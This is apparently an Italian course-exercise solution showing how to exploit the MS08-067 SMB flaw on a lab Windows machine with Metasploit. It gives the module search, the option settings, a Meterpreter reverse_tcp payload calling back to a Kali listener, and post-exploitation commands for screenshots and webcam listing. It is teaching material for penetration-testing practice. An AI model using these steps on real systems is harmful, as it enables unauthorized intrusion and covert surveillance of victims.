

## SOLUZIONE – ESERCIZIO WEEK17 CONSEGNA 1

Al fine di sfruttare la vulnerabilità, dobbiamo trovare un exploit di Metasploit che faccia al caso nostro.

Per farlo utilizziamo la keyword «search» unitamente al codice della vulnerabilità MS08\_067.

Questo ci permette di controllare nel DB di Metasploit per eventuali exploit pubblici. Identifichiamo un unico exploit.

Possiamo utilizzarlo con il comando «use» seguito dal path dell'exploit, successivamente controlleremo i parametri necessari per eseguirlo.

```
# Name Disclosure Date Rank Check Description
- -
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > |
```

Come spesso accade, l'exploit ha bisogno dell'IP della macchina Target per essere eseguito, dunque configuriamo il parametro «RHOSTS» in base alla nostra configurazione di rete.

Contestualmente vediamo che è stato scelto di default il payload Meterpreter/reverse\_tcp come, per il quale bisogna configurare il parametro «LHOST». I parametri si configurano con la keyword «set» seguiti dal nome del parametro e dal valore che vogliamo assegnare al parametro.

Ad esempio, se il remote host (RHOSTS) ha l'IP 192.168.1.200, scriveremo «set RHOSTS 192.168.1.200»

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.1.200    yes       The target host(s), see https://github.com/rapid7/metasploit/Using-Metasploit
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.28    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Targeting

msf6 exploit(windows/smb/ms08_067_netapi) > 
```

Una volta configurato il parametro «LHOST» per il payload con l'indirizzo della Kali Linux, eseguiamo l'attacco con il comando «exploit» per ottenere una sessione di Meterpreter.

Possiamo recuperare lo screenshot sulla macchina remota utilizzando il comando «screenshot» dalla sessione Meterpreter

Mentre possiamo verificare la presenza di webcam sulla macchina target eseguendo il comando «webcam\_list»